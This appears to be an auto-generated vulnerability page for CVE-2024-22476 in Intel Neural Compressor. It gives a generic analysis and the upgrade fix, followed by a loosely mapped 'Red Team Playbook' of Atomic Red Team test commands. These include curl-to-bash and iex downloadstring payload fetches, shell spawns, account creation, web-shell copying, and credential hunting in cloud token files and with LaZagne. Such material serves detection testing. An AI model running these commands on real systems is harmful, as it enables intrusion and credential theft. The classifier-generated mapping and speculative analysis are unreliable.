CVE-2024-22476
Overview
The vulnerability is an improper input validation flaw classified under CWE-20 affecting Intel(R) Neural Compressor software prior to version 2.5.0. The root cause lies in insufficient sanitization of input parameters processed by the software’s remote access components, allowing unauthorized data to bypass expected validation checks. This flaw resides within the input handling mechanisms of the software’s remote interface, enabling untrusted inputs to influence privileged operations.
Vulnerability Description
Improper input validation in some Intel(R) Neural Compressor software before version 2.5.0 may allow an unauthenticated user to potentially enable escalation of privilege via remote access.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to escalate privileges within the Intel(R) Neural Compressor software environment. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), enabling attackers to gain high-level control, potentially compromising confidentiality, integrity, and availability of the system. This can facilitate unauthorized administrative actions, lateral movement within the network, or disruption of machine learning model optimization workflows.
Solution
Intel recommends updating Intel(R) Neural Compressor software to version 2.5.0 or later to remediate this vulnerability. Detailed patch instructions and advisory information are available in Intel Security Advisory INTEL-SA-01109 (https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01109.html). Users should apply the official update promptly to ensure the vulnerability is addressed.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Intel Neural Compressor software arises from improper input validation, which can be exploited by an unauthenticated user to escalate privileges remotely. This flaw indicates that the software does not adequately check or sanitize input data, allowing malicious actors to manipulate the software’s behavior. Specifically, the lack of stringent validation mechanisms can lead to unauthorized access to sensitive functions or data within the application. This vulnerability is particularly concerning given the critical role that neural compression plays in optimizing machine learning models, which are increasingly integrated into various applications across industries.
Exploitation of this vulnerability can occur through several attack vectors. An attacker could craft a specially designed input that bypasses the validation checks, allowing them to execute arbitrary code or commands with elevated privileges. This could be done remotely, making it easier for attackers to target systems without needing physical access. Scenarios may include an attacker deploying a malicious script that interacts with the software's API, or sending crafted requests to a web interface that the software exposes. Once the attacker gains elevated privileges, they could manipulate data, alter configurations, or even deploy further exploits within the network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Intel Neural Compressor for their machine learning workflows. The potential for privilege escalation means that an attacker could gain control over critical systems, leading to data breaches, loss of intellectual property, or even disruption of services. The business risks are multifaceted, including financial losses due to remediation efforts, reputational damage from public exposure of the breach, and potential legal ramifications if sensitive data is compromised. Organizations in sectors such as finance, healthcare, and technology, where data integrity and confidentiality are paramount, face heightened risks due to the nature of their operations.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Intel Neural Compressor software to the latest version is crucial, as newer releases often contain patches for known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate an attempted exploitation. Organizations should also conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Training staff on secure coding practices and input validation techniques can further reduce the risk of similar vulnerabilities arising in the future.
In conclusion, the improper input validation vulnerability in the Intel Neural Compressor software poses a severe threat to organizations leveraging machine learning technologies. The potential for remote privilege escalation can lead to significant operational and reputational damage. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the integrity and security of their systems and data. As the landscape of cybersecurity continues to evolve, remaining vigilant and responsive to emerging threats is essential for maintaining robust defenses.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-22476 |
| intel.com |
GitHub CVE
|
https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01109.html |